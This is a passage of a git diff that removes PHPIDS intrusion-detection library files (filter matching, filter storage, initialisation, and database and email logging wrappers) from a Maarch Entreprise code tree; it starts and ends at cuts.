http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -/** - * PHPIDS Filter object - * - * Each object of this class serves as a container for a specific filter. The - * object provides methods to get information about this particular filter and - * also to match an arbitrary string against it. - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Group - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @version Release: $Id:Filter.php 517 2007-09-15 15:04:13Z mario $ - * @link http://php-ids.org/ - * @since Version 0.4 - */ -class IDS_Filter -{ - - /** - * Filter rule - * - * @var string - */ - protected $rule; - - /** - * List of tags of the filter - * - * @var array - */ - protected $tags = array(); - - /** - * Filter impact level - * - * @var integer - */ - protected $impact = 0; - - /** - * Filter description - * - * @var string - */ - protected $description = null; - - /** - * Constructor - * - * @param integer $id filter id - * @param mixed $rule filter rule - * @param string $description filter description - * @param array $tags list of tags - * @param integer $impact filter impact level - * - * @return void - */ - public function __construct($id, $rule, $description, array $tags, $impact) - { - $this->id = $id; - $this->rule = $rule; - $this->tags = $tags; - $this->impact = $impact; - $this->description = $description; - } - - /** - * Matches a string against current filter - * - * Matches given string against the filter rule the specific object of this - * class represents - * - * @param string $string the string to match - * - * @throws InvalidArgumentException if argument is no string - * @return boolean - */ - public function match($string) - { - if (!is_string($string)) { - throw new InvalidArgumentException(' - Invalid argument. Expected a string, received ' . gettype($string) - ); - } - - return (bool) preg_match( - '/' . $this->getRule() . '/ms', strtolower($string) - ); - } - - /** - * Returns filter description - * - * @return string - */ - public function getDescription() - { - return $this->description; - } - - /** - * Return list of affected tags - * - * Each filter rule is concerned with a certain kind of attack vectors. - * This method returns those affected kinds. - * - * @return array - */ - public function getTags() - { - return $this->tags; - } - - /** - * Returns filter rule - * - * @return string - */ - public function getRule() - { - return $this->rule; - } - - /** - * Get filter impact level - * - * @return integer - */ - public function getImpact() - { - return $this->impact; - } - - /** - * Get filter ID - * - * @return integer - */ - public function getId() - { - return $this->id; - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Filter/Storage.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Filter/Storage.php deleted file mode 100755 index f1a6406ad8d4d6e03b9d7e394ad4b2eb3d38cb94..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Filter/Storage.php +++ /dev/null @@ -1,381 +0,0 @@ -<?php - -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -/** - * Filter Storage - * - * This class provides various default functions for gathering filter patterns - * to be used later on by the detection mechanism. You might extend this class - * to your requirements. - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Group - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @version Release: $Id:Storage.php 517 2007-09-15 15:04:13Z mario $ - * @link http://php-ids.org/ - */ -class IDS_Filter_Storage -{ - - /** - * Filter source file - * - * @var string - */ - protected $source = null; - - /** - * Holds caching settings - * - * @var array - */ - protected $cacheSettings = null; - - /** - * Cache container - * - * @var object IDS_Caching wrapper - */ - protected $cache = null; - - /** - * Filter container - * - * @var array - */ - protected $filterSet = array(); - - /** - * Constructor - * - * Loads filters based on provided IDS_Init settings. - * - * @param object $init IDS_Init instance - * - * @throws Exception if unsupported filter type is given - * @return void - */ - public final function __construct(IDS_Init $init) - { - if ($init->config) { - - $caching = isset($init->config['Caching']['caching']) ? - $init->config['Caching']['caching'] : 'none'; - - $type = $init->config['General']['filter_type']; - $this->source = $init->getBasePath() - . $init->config['General']['filter_path']; - - if ($caching && $caching != 'none') { - $this->cacheSettings = $init->config['Caching']; - include_once 'IDS/Caching/Factory.php'; - $this->cache = IDS_Caching::factory($init, 'storage'); - } - - switch ($type) { - case 'xml' : - $this->getFilterFromXML(); - break; - case 'json' : - $this->getFilterFromJson(); - break; - default : - throw new Exception('Unsupported filter type.'); - } - } - } - - /** - * Sets the filter array - * - * @param array $filterSet array containing multiple IDS_Filter instances - * - * @return object $this - */ - public final function setFilterSet($filterSet) - { - foreach ($filterSet as $filter) { - $this->addFilter($filter); - } - - return $this; - } - - /** - * Returns registered filters - * - * @return array - */ - public final function getFilterSet() - { - return $this->filterSet; - } - - /** - * Adds a filter - * - * @param object $filter IDS_Filter instance - * - * @return object $this - */ - public final function addFilter(IDS_Filter $filter) - { - $this->filterSet[] = $filter; - return $this; - } - - /** - * Checks if any filters are cached - * - * @return mixed $filters cached filters or false - */ - private function _isCached() - { - $filters = false; - - if ($this->cacheSettings) { - - if ($this->cache) { - $filters = $this->cache->getCache(); - } - } - - return $filters; - } - - /** - * Loads filters from XML using SimpleXML - * - * This function parses the provided source file and stores the result. - * If caching mode is enabled the result will be cached to increase - * the performance. - * - * @throws Exception if problems with fetching the XML data occur - * @return object $this - */ - public function getFilterFromXML() - { - - if (extension_loaded('SimpleXML')) { - - /* - * See if filters are already available in the cache - */ - $filters = $this->_isCached(); - - /* - * If they aren't, parse the source file - */ - if (!$filters) { - if (file_exists($this->source)) { - if (LIBXML_VERSION >= 20621) { - $filters = simplexml_load_file($this->source, - null, - LIBXML_COMPACT); - } else { - $filters = simplexml_load_file($this->source); - } - } - } - - /* - * In case we still don't have any filters loaded and exception - * will be thrown - */ - if (empty($filters)) { - throw new Exception( - 'XML data could not be loaded.' . - ' Make sure you specified the correct path.' - ); - } - - /* - * Now the storage will be filled with IDS_Filter objects - */ - $data = array(); - $nocache = $filters instanceof SimpleXMLElement; - $filters = $nocache ? $filters->filter : $filters; - - include_once 'IDS/Filter.php'; - - foreach ($filters as $filter) { - - $id = $nocache ? (string) $filter->id : - $filter['id']; - $rule = $nocache ? (string) $filter->rule : - $filter['rule']; - $impact = $nocache ? (string) $filter->impact : - $filter['impact']; - $tags = $nocache ? array_values((array) $filter->tags) : - $filter['tags']; - $description = $nocache ? (string) $filter->description : - $filter['description']; - - $this->addFilter(new IDS_Filter($id, - $rule, - $description, - (array) $tags[0], - (int) $impact)); - - $data[] = array( - 'id' => $id, - 'rule' => $rule, - 'impact' => $impact, - 'tags' => $tags, - 'description' => $description - ); - } - - /* - * If caching is enabled, the fetched data will be cached - */ - if ($this->cacheSettings) { - - $this->cache->setCache($data); - } - - } else { - throw new Exception( - 'SimpleXML not loaded.' - ); - } - - return $this; - } - - /** - * Loads filters from Json file using ext/Json - * - * This function parses the provided source file and stores the result. - * If caching mode is enabled the result will be cached to increase - * the performance. - * - * @throws Exception if problems with fetching the JSON data occur - * @return object $this - */ - public function getFilterFromJson() - { - - if (extension_loaded('Json')) { - - /* - * See if filters are already available in the cache - */ - $filters = $this->_isCached(); - - /* - * If they aren't, parse the source file - */ - if (!$filters) { - if (file_exists($this->source)) { - $filters = json_decode(file_get_contents($this->source)); - } else { - throw new Exception( - 'JSON data could not be loaded.' . - ' Make sure you specified the correct path.' - ); - } - } - - if (!$filters) { - throw new Exception( - 'JSON data could not be loaded.' . - ' Make sure you specified the correct path.' - ); - } - - /* - * Now the storage will be filled with IDS_Filter objects - */ - $data = array(); - $nocache = !is_array($filters); - $filters = $nocache ? $filters->filters->filter : $filters; - - include_once 'IDS/Filter.php'; - - foreach ($filters as $filter) { - - $id = $nocache ? (string) $filter->id : - $filter['id']; - $rule = $nocache ? (string) $filter->rule : - $filter['rule']; - $impact = $nocache ? (string) $filter->impact : - $filter['impact']; - $tags = $nocache ? array_values((array) $filter->tags) : - $filter['tags']; - $description = $nocache ? (string) $filter->description : - $filter['description']; - - $this->addFilter(new IDS_Filter($id, - $rule, - $description, - (array) $tags[0], - (int) $impact)); - - $data[] = array( - 'id' => $id, - 'rule' => $rule, - 'impact' => $impact, - 'tags' => $tags, - 'description' => $description - ); - } - - /* - * If caching is enabled, the fetched data will be cached - */ - if ($this->cacheSettings) { - $this->cache->setCache($data); - } - - } else { - throw new Exception( - 'ext/json not loaded.' - ); - } - - return $this; - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Init.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Init.php deleted file mode 100755 index 973b82a6a0e3605e444d9cd5f4d58ef487b0847e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Init.php +++ /dev/null @@ -1,232 +0,0 @@ -<?php - -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -/** - * Framework initiation - * - * This class is used for the purpose to initiate the framework and inhabits - * functionality to parse the needed configuration file. - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Groupup - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @version Release: $Id:Init.php 517 2007-09-15 15:04:13Z mario $ - * @link http://php-ids.org/ - * @since Version 0.4 - */ -class IDS_Init -{ - - /** - * Holds config settings - * - * @var array - */ - public $config = array(); - - /** - * Instance of this class depending on the supplied config file - * - * @var array - * @static - */ - private static $instances = array(); - - /** - * Path to the config file - * - * @var string - */ - private $configPath = null; - - /** - * Constructor - * - * Includes needed classes and parses the configuration file - * - * @param string $configPath the path to the config file - * - * @return object $this - */ - private function __construct($configPath = null) - { - include_once 'IDS/Monitor.php'; - include_once 'IDS/Filter/Storage.php'; - - if ($configPath) { - $this->setConfigPath($configPath); - $this->config = parse_ini_file($this->configPath, true); - } - } - - /** - * Permitting to clone this object - * - * For the sake of correctness of a singleton pattern, this is necessary - * - * @return void - */ - public final function __clone() - { - } - - /** - * Returns an instance of this class. Also a PHP version check - * is being performed to avoid compatibility problems with PHP < 5.1.6 - * - * @param string $configPath the path to the config file - * - * @return object - */ - public static function init($configPath = null) - { - if (!isset(self::$instances[$configPath])) { - self::$instances[$configPath] = new IDS_Init($configPath); - } - - return self::$instances[$configPath]; - } - - /** - * Sets the path to the configuration file - * - * @param string $path the path to the config - * - * @throws Exception if file not found - * @return void - */ - public function setConfigPath($path) - { - if (file_exists($path)) { - $this->configPath = $path; - } else { - throw new Exception( - 'Configuration file could not be found at ' . - htmlspecialchars($path, ENT_QUOTES, 'UTF-8') - ); - } - } - - /** - * Returns path to configuration file - * - * @return string the config path - */ - public function getConfigPath() - { - return $this->configPath; - } - - /** - * This method checks if a base path is given and usage is set to true. - * If all that tests succeed the base path will be returned as a string - - * else null will be returned. - * - * @return string the base path or null - */ - public function getBasePath() { - - return ((isset($this->config['General']['base_path']) - && $this->config['General']['base_path'] - && isset($this->config['General']['use_base_path']) - && $this->config['General']['use_base_path']) - ? $this->config['General']['base_path'] : null); - } - - /** - * Merges new settings into the exsiting ones or overwrites them - * - * @param array $config the config array - * @param boolean $overwrite config overwrite flag - * - * @return void - */ - public function setConfig(array $config, $overwrite = false) - { - if ($overwrite) { - $this->config = $this->_mergeConfig($this->config, $config); - } else { - $this->config = $this->_mergeConfig($config, $this->config); - } - } - - /** - * Merge config hashes recursivly - * - * The algorithm merges configuration arrays recursively. If an element is - * an array in both, the values will be appended. If it is a scalar in both, - * the value will be replaced. - * - * @param array $current The legacy hash - * @param array $successor The hash which values count more when in doubt - * @return array Merged hash - */ - protected function _mergeConfig($current, $successor) - { - if (is_array($current) and is_array($successor)) { - foreach ($successor as $key => $value) { - if (isset($current[$key]) - and is_array($value) - and is_array($current[$key])) { - - $current[$key] = $this->_mergeConfig($current[$key], $value); - } else { - $current[$key] = $successor[$key]; - } - } - } - return $current; - } - - /** - * Returns the config array - * - * @return array the config array - */ - public function getConfig() - { - return $this->config; - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Log/Composite.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Log/Composite.php deleted file mode 100755 index fcd2a7c865b1d35f8b57fd2d2e90c72ef59a4006..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Log/Composite.php +++ /dev/null @@ -1,136 +0,0 @@ -<?php - -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -require_once 'IDS/Log/Interface.php'; - -/** - * Log Composite - * - * This class implements the composite pattern to allow to work with multiple - * logging wrappers at once. - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Group - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @version Release: $Id:Composite.php 517 2007-09-15 15:04:13Z mario $ - * @link http://php-ids.org/ - */ -class IDS_Log_Composite -{ - - /** - * Holds registered logging wrapper - * - * @var array - */ - public $loggers = array(); - - /** - * Iterates through registered loggers and executes them - * - * @param object $data IDS_Report object - * - * @return void - */ - public function execute(IDS_Report $data) - { - // make sure request uri is set right on IIS - if (!isset($_SERVER['REQUEST_URI'])) { - $_SERVER['REQUEST_URI'] = substr($_SERVER['PHP_SELF'], 1); - if (isset($_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING']) { - $_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING']; - } - } - - // make sure server address is set right on IIS - if (isset($_SERVER['LOCAL_ADDR'])) { - $_SERVER['SERVER_ADDR'] = $_SERVER['LOCAL_ADDR']; - } - - foreach ($this->loggers as $logger) { - $logger->execute($data); - } - } - - /** - * Registers a new logging wrapper - * - * Only valid IDS_Log_Interface instances passed to this function will be - * registered - * - * @return void - */ - public function addLogger() - { - - $args = func_get_args(); - - foreach ($args as $class) { - if (!in_array($class, $this->loggers) && - ($class instanceof IDS_Log_Interface)) { - $this->loggers[] = $class; - } - } - } - - /** - * Removes a logger - * - * @param object $logger IDS_Log_Interface object - * - * @return boolean - */ - public function removeLogger(IDS_Log_Interface $logger) - { - $key = array_search($logger, $this->loggers); - - if (isset($this->loggers[$key])) { - unset($this->loggers[$key]); - return true; - } - - return false; - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Log/Database.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Log/Database.php deleted file mode 100755 index 47283795ad9c468c370c89a6849fc588c2498403..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Log/Database.php +++ /dev/null @@ -1,300 +0,0 @@ -<?php - -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -require_once 'IDS/Log/Interface.php'; - -/* - * Needed SQL: - * - CREATE DATABASE IF NOT EXISTS `phpids` DEFAULT CHARACTER - SET utf8 COLLATE utf8_general_ci; - DROP TABLE IF EXISTS `intrusions`; - CREATE TABLE IF NOT EXISTS `intrusions` ( - `id` int(11) unsigned NOT null auto_increment, - `name` varchar(128) NOT null, - `value` text NOT null, - `page` varchar(255) NOT null, - `tags` varchar(128) NOT null, - `ip` varchar(15) NOT null, - `ip2` varchar(15) NOT null, - `impact` int(11) unsigned NOT null, - `origin` varchar(15) NOT null, - `created` datetime NOT null, - PRIMARY KEY (`id`) - ) ENGINE=MyISAM ; - * - * - * - */ - -/** - * Database logging wrapper - * - * The database wrapper is designed to store reports into an sql database. It - * implements the singleton pattern and is based in PDO, supporting - * different database types. - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Group - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @version Release: $Id:Database.php 517 2007-09-15 15:04:13Z mario $ - * @link http://php-ids.org/ - */ -class IDS_Log_Database implements IDS_Log_Interface -{ - - /** - * Database wrapper - * - * @var string - */ - private $wrapper = null; - - /** - * Database user - * - * @var string - */ - private $user = null; - - /** - * Database password - * - * @var string - */ - private $password = null; - - /** - * Database table - * - * @var string - */ - private $table = null; - - /** - * Database handle - * - * @var object PDO instance - */ - private $handle = null; - - /** - * Prepared SQL statement - * - * @var string - */ - private $statement = null; - - /** - * Holds current remote address - * - * @var string - */ - private $ip = 'local/unknown'; - - /** - * Instance container - * - * Due to the singleton pattern this class allows to initiate only one instance - * for each database wrapper. - * - * @var array - */ - private static $instances = array(); - - /** - * Constructor - * - * Prepares the SQL statement - * - * @param mixed $config IDS_Init instance | array - * - * @return void - * @throws PDOException if a db error occurred - */ - protected function __construct($config) - { - - if ($config instanceof IDS_Init) { - $this->wrapper = $config->config['Logging']['wrapper']; - $this->user = $config->config['Logging']['user']; - $this->password = $config->config['Logging']['password']; - $this->table = $config->config['Logging']['table']; - - } elseif (is_array($config)) { - $this->wrapper = $config['wrapper']; - $this->user = $config['user']; - $this->password = $config['password']; - $this->table = $config['table']; - } - - // determine correct IP address and concat them if necessary - $this->ip = $_SERVER['REMOTE_ADDR']; - $this->ip2 = isset($_SERVER['HTTP_X_FORWARDED_FOR']) - ? $_SERVER['HTTP_X_FORWARDED_FOR'] - : ''; - - try { - $this->handle = new PDO( - $this->wrapper, - $this->user, - $this->password - ); - - $this->statement = $this->handle->prepare(' - INSERT INTO ' . $this->table . ' ( - name, - value, - page, - tags, - ip, - ip2, - impact, - origin, - created - ) - VALUES ( - :name, - :value, - :page, - :tags, - :ip, - :ip2, - :impact, - :origin, - now() - ) - '); - - } catch (PDOException $e) { - throw new PDOException('PDOException: ' . $e->getMessage()); - } - } - - /** - * Returns an instance of this class - * - * This method allows the passed argument to be either an instance of IDS_Init or - * an array. - * - * @param mixed $config IDS_Init | array - * @param string $classname the class name to use - * - * @return object $this - */ - public static function getInstance($config, $classname = 'IDS_Log_Database') - { - if ($config instanceof IDS_Init) { - $wrapper = $config->config['Logging']['wrapper']; - } elseif (is_array($config)) { - $wrapper = $config['wrapper']; - } - - if (!isset(self::$instances[$wrapper])) { - self::$instances[$wrapper] = new $classname($config); - } - - return self::$instances[$wrapper]; - } - - /** - * Permitting to clone this object - * - * For the sake of correctness of a singleton pattern, this is necessary - * - * @return void - */ - private function __clone() - { - } - - /** - * Stores given data into the database - * - * @param object $data IDS_Report instance - * - * @throws Exception if db error occurred - * @return boolean - */ - public function execute(IDS_Report $data) - { - if (!isset($_SERVER['REQUEST_URI'])) { - $_SERVER['REQUEST_URI'] = substr($_SERVER['PHP_SELF'], 1); - if (isset($_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING']) { - $_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING']; - } - } - - foreach ($data as $event) { - $page = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; - $ip = $this->ip; - $ip2 = $this->ip2; - - $name = $event->getName(); - $value = $event->getValue(); - $impact = $event->getImpact(); - $tags = implode(', ', $event->getTags()); - - $this->statement->bindParam('name', $name); - $this->statement->bindParam('value', $value); - $this->statement->bindParam('page', $page); - $this->statement->bindParam('tags', $tags); - $this->statement->bindParam('ip', $ip); - $this->statement->bindParam('ip2', $ip2); - $this->statement->bindParam('impact', $impact); - $this->statement->bindParam('origin', $_SERVER['SERVER_ADDR']); - - if (!$this->statement->execute()) { - - $info = $this->statement->errorInfo(); - throw new Exception( - $this->statement->errorCode() . ', ' . $info[1] . ', ' . $info[2] - ); - } - } - - return true; - } -} - -/** - * Local variables: - * tab-width: 4 - * c-basic-offset: 4 - * End: - * vim600: sw=4 ts=4 expandtab - */ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/Log/Email.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/Log/Email.php deleted file mode 100755 index ec4c1f059d44185854e0a0cf1484f1e35f12637b..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/Log/Email.php +++ /dev/null @@ -1,400 +0,0 @@ -<?php - -/** - * PHPIDS - * - * Requirements: PHP5, SimpleXML - * - * Copyright (c) 2008 PHPIDS group (https://phpids.org) - * - * PHPIDS is free software; you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published by - * the Free Software Foundation, version 3 of the License, or - * (at your option) any later version. - * - * PHPIDS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. - * - * PHP version 5.1.6+ - * - * @category Security - * @package PHPIDS - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Christian Matthies <ch0012@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @link http://php-ids.org/ - */ - -require_once 'IDS/Log/Interface.php'; - -/** - * Email logging wrapper - * - * The Email wrapper is designed to send reports via email. It implements the - * singleton pattern. - * - * @category Security - * @package PHPIDS - * @author Christian Matthies <ch0012@gmail.com> - * @author Mario Heiderich <mario.heiderich@gmail.com> - * @author Lars Strojny <lars@strojny.net> - * @copyright 2007-2009 The PHPIDS Group - * @license http://www.gnu.org/licenses/lgpl.html LGPL - * @version Release: $Id:Email.php 517 2007-09-15 15:04:13Z mario $ - * @link http://php-ids.org/ - */ -class IDS_Log_Email implements IDS_Log_Interface -{ - - /** - * Recipient container - * - * @var array - */ - protected $recipients = array(); - - /** - * Mail subject - * - * @var string - */ - protected $subject = null; - - /** - * Additional mail headers - * - * @var string - */ - protected $headers = null; - - /** - * Safemode switch - * - * Using this switch it is possible to enable safemode, which is a spam - * protection based on the alert frequency. - * - * @var boolean - */ - protected $safemode = true; - - /** - * Urlencode for result strings - * - * This switch is true by default. Setting it to false removes - * the 'better safe than sorry' urlencoding for the result string in - * the report mails. Enhances readability but maybe XSSes email clients. - * - * @var boolean - */ - protected $urlencode = true; - - /** - * Send rate - * - * If safemode is enabled, this property defines how often reports will be - * sent out. Default value is 15, which means that a mail will be sent on - * condition that the last email has not been sent earlier than 15 seconds ago. - * - * @var integer - */ - protected $allowed_rate = 15; - - /** - * PHPIDS temp directory - * - * When safemod is enabled, a path to a temp directory is needed to - * store some information. Default is IDS/tmp/ - * - * @var string - */ - protected $tmp_path = 'IDS/tmp/'; - - /** - * File prefix for tmp files - * - * @var string - */ - protected $file_prefix = 'PHPIDS_Log_Email_'; - - /** - * Holds current remote address - * - * @var string - */ - protected $ip = 'local/unknown'; - - /** - * Instance container - * - * @var array - */ - protected static $instance = array(); - - /** - * Constructor - * - * @param mixed $config IDS_Init instance | array - * - * @return void - */ - protected function __construct($config) - { - - if ($config instanceof IDS_Init) { - $this->recipients = $config->config['Logging']['recipients']; - $this->subject = $config->config['Logging']['subject']; - $this->headers = $config->config['Logging']['header']; - $this->envelope = $config->config['Logging']['envelope']; - $this->safemode = $config->config['Logging']['safemode']; - $this->urlencode = $config->config['Logging']['urlencode']; - $this->allowed_rate = $config->config['Logging']['allowed_rate']; - $this->tmp_path = $config->getBasePath() - . $config->config['General']['tmp_path']; - - } elseif (is_array($config)) { - $this->recipients[] = $config['recipients']; - $this->subject = $config['subject']; - $this->additionalHeaders = $config['header']; - } - - // determine correct IP address and concat them if necessary - $this->ip = $_SERVER['REMOTE_ADDR'] . - (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? - ' (' . $_SERVER['HTTP_X_FORWARDED_FOR'] . ')' : ''); - } - - /** - * Returns an instance of this class - * - * This method allows the passed argument to be either an instance of - * IDS_Init or an array. - * - * @param mixed $config IDS_Init | array - * @param string $classname the class name to use - * - * @return object $this - */ - public static function getInstance($config, $classname = 'IDS_Log_Email') - { - if (!self::$instance) { - self::$instance = new $classname($config); - } - - return self::$instance; - } - - /** - * Permitting to clone this object - * - * For the sake of correctness of a singleton pattern, this is necessary - * - * @return void - */ - private function __clone() - { - } - - /** - * Detects spam attempts - * - * To avoid mail spam through this logging class this function is used - * to detect such attempts based on the alert frequency. - * - * @return boolean - */ - protected function isSpamAttempt() - { - - /* - * loop through all files in the tmp directory and - * delete garbage files - */ - $dir = $this->tmp_path; - $numPrefixChars = strlen($this->file_prefix); - $files = scandir($dir); - foreach ($files as $file) { - if (is_file($dir . DIRECTORY_SEPARATOR . $file)) { - if (substr($file, 0, $numPrefixChars) == $this->file_prefix) { - $lastModified = filemtime($dir . DIRECTORY_SEPARATOR . $file); - if ((time() - $lastModified) > 3600) { - unlink($dir . DIRECTORY_SEPARATOR . $file); - } - } - } - } - - /* - * end deleting garbage files - */ - $remoteAddr = $this->ip; - $userAgent = $_SERVER['HTTP_USER_AGENT']; - $filename = $this->file_prefix . md5($remoteAddr.$userAgent) . '.tmp'; - $file = $dir . DIRECTORY_SEPARATOR . $filename; - - if (!file_exists($file)) { - $handle = fopen($file, 'w'); - fwrite($handle, time()); - fclose($handle); - - return false; - } - - $lastAttack = file_get_contents($file); - $difference = time() - $lastAttack; - if ($difference > $this->allowed_rate) { - unlink($file); - } else { - return true; - } - - return false; - } - - /** - * Prepares data - * - * Converts given data into a format that can be read in an email. - * You might edit this method to your requirements. - * - * @param mixed $data the report data - * - * @return string - */ - protected function prepareData($data) - { - - $format = "The following attack has been detected by PHPIDS\n\n"; - $format .= "IP: %s \n"; - $format .= "Date: %s \n"; - $format .= "Impact: %d \n"; - $format .= "Affected tags: %s \n"; - - $attackedParameters = ''; - foreach ($data as $event) { - $attackedParameters .= $event->getName() . '=' . - ((!isset($this->urlencode) ||$this->urlencode) - ? urlencode($event->getValue()) - : $event->getValue()) . ", "; - } - - $format .= "Affected parameters: %s \n"; - $format .= "Request URI: %s \n"; - $format .= "Origin: %s \n"; - - return sprintf($format, - $this->ip, - date('c'), - $data->getImpact(), - join(' ', $data->getTags()), - trim($attackedParameters), - htmlspecialchars($_SERVER['REQUEST_URI'], ENT_QUOTES, 'UTF-8'), - $_SERVER['SERVER_ADDR']); - } - - /** - * Sends the report to registered recipients - * - * @param object $data 